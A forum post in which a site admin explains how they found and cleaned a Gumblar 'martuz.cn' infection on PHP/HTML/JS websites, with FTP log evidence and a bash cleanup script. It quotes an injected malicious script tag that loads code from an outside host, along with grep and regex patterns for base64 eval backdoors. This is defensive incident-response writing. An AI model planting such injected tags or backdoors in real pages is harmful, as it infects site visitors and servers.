Fighting Gumblar virus variant: "martuz.cn"

Step-by-Step descriptions of how to do things.
Post Reply
User avatar
^rooker
Site Admin
Posts: 1481
Joined: Fri Aug 29, 2003 8:39 pm

Fighting Gumblar virus variant: "martuz.cn"

Post by ^rooker »

Well, well... I've just had some interesting hours finding out what went wrong with some websites by a friend of mine.

The symptoms were as follows:
*) Strange error messages in php files that shouldn't have changed:
*Fatal error*: Cannot redeclare lb78s() (previously declared in index.php(1) : eval()'d code:1) in *db/libraries/Config.class.php(1) : eval()'d code* on line *1*
*) Problems with JavaScript logins on sites that used simpleCMS.

*) Google blacklisted the site, saying that it was spreading malware and doing cross-site scripting attacks.


What happend?
It seems that it was a new worm called "martuz.cn", considered a variant of "gumblar".

It infects:
- *.php files.
- creates a file called "gifimg.php" which contains a generic backdoor.
- *.htm(l) files
- *.js (JavaScript) files

If you search the web, you'll find lots of information about what it does and how it breaks in.
Here are 2 links that helped me nail it down:
http://www.wewatchyourwebsite.com/wordpress/?p=278
http://www.techjaws.com/new-php-exploit-on-the-loose/


How did it get started?
It was puzzling:
- only sites owned by the one ftp-user account were affected. But *all* of them.
- Other php files on the same computer, belonging to different system users were not infected.
- The user "www-data" (aka "the user apache runs as") did not have write access to some files that were affected.


How to find infected files:
The worm basically leaves 2 different types of strings in files:
1) <script src=...></script> entries in .js and static .html files
2) eval(base64_decode('...')); lines in infected .php files.

Lucky for me, the worm author made a mistake (ts, ts, ts...) and writes a non-standard conform script tag like this:

Code: Select all

<script src=http://bytom-online.pl/js/p_dzialek.php ></script>
It's lacking the "" around the src-value!

So we can create a regular expression (regexp) pattern matching for these script-lines with a very, very low chance of producing false positives:

Code: Select all

^<script src=http.*php ><\/script>
The php-infection scan also returns little-to-no false positives, if you include the beginning and end-characters of the base64-encoded string:

Code: Select all

<?php eval(base64_decode('aW.*Ow==')); ?>
So, for a quick detection to find out if you're infected and which files, just use grep:

Code: Select all

grep -r "<script src=http" *
grep -r "eval(base64_decode('aW" *
Sorry, Windows-users:
you don't have useful and powerful tools like that installed by default and even if you'd use the fulltext search of Explorer, you'd find out the hard way that it
a) only looks in certain files that it "considers" to contain plain text, depending on their suffix (I've once tried to search fulltext in .sql files: nope).
b) You don't have regular expressions.


Conclusion:
- Since it was a real webserver it runs Linux, so we got a good privilege separation between users. It was no php/site exploit, because that would only have been able to infect files writable by "www-data".
The only common denominator was the ftp-user.

- I've changed the ftp-user password and cleaned all the files (see remedy-script below). 12 hours later, all files owned by that ftp-user were infected again.

- After the new infection, I've checked /var/log/vsftpd.log and couldn't believe my eyes.
You could f***ing watch it, download-infect-and-reupload files:
Wed Nov 25 10:31:17 2009 1 202.191.xxx.xxx 3816 /www/index.html a _ o r ftp_user ftp 0 * c
Wed Nov 25 10:31:19 2009 1 202.191.xxx.xxx 3878 /www/index.html a _ i r ftp_user ftp 0 * c

Wed Nov 25 10:46:08 2009 1 202.191.xxx.xxx 2651 /www/index.php a _ o r ftp_user ftp 0 * c
Wed Nov 25 10:46:10 2009 1 202.191.xxx.xxx 4520 /www/index.php a _ i r ftp_user ftp 0 * c

Wed Nov 25 10:46:12 2009 1 202.191.xxx.xxx 6920 /www/phpmyvisites.js a _ o r ftp_user ftp 0 * c
Wed Nov 25 10:46:14 2009 2 202.191.xxx.xxx 7004 /www/phpmyvisites.js a _ i r ftp_user ftp 0 * c
So that's the proof that in our case, it was infected by ftp uploads.


The remedy/cure:
1) Change the FTP account passwords and clean the computers that "leaked" them.
It seems that the FTP account data was stolen on client computers that accessed the site. Probably by some trojan horse or other malware silently running in the background.

We've learned that the hard way:
- Cleaned the site on the webserver and changed FTP account data.
- Forwarded new account data to the person who is supposed to have it.
- Few hours later: fresh infection.


2) Clean the website on the server:
Powerful commandline to the rescue!
Using default tools known to every good sysadmin, and preinstalled on every real server OS, here are 4 lines of magic I've written to clean infected installations:

Code: Select all

#!/bin/bash
# @description:
#    Cleans a Martuz.cn infection

# Remove all "gifimg.php" files recursively:
        echo ""
        echo "Deleting gifimg.php..."
        rm -rf `find . -type f -name gifimg.php`
        echo "Done."

# Clean infected PHP files:
        echo ""
        echo "Cleaning php files..."
        echo `find . -type f -name \*.php`
        find . -type f -name \*.php -exec sed -i "s/<?php eval(base64_decode('aW.*Ow==')); ?>//" {} \;
        echo "Done."

# Clean infected .js (Javascript) Files:
        echo ""
        echo "Cleaning JavaScript files..."
        echo `find . -type f -name \*.js`
        find . -type f -name \*.js -exec sed -i "s/^document.write('<script src=http.*php ><\\\\\/script>');//" {} \;
        echo "Done."

# Clean infected html Files:
        echo ""
        echo "Cleaning static html/htm files..."
        echo `find . -type f -name \*.html`
        echo `find . -type f -name \*.htm`
        find . -type f -name \*.html -exec sed -i "s/^<script src=http.*php ><\/script>//" {} \;
        find . -type f -name \*.htm -exec sed -i "s/^<script src=http.*php ><\/script>//" {} \;
Last edited by ^rooker on Thu Mar 11, 2010 5:44 pm, edited 1 time in total.
Reason: Fixed "find" syntax in code
Jumping out of an airplane is not a basic instinct. Neither is breathing underwater. But put the two together and you're traveling through space!
Post Reply